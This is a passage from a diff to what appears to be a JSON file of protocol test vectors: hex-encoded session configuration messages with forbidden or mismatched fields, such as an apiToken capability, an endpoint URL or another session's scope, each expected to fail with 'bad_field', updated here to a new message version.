0302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-credential-key", "direction": "down", - "hex": "574d58310101000001000000350600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000720600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-url-key", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-session", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-backend", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-epoch", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696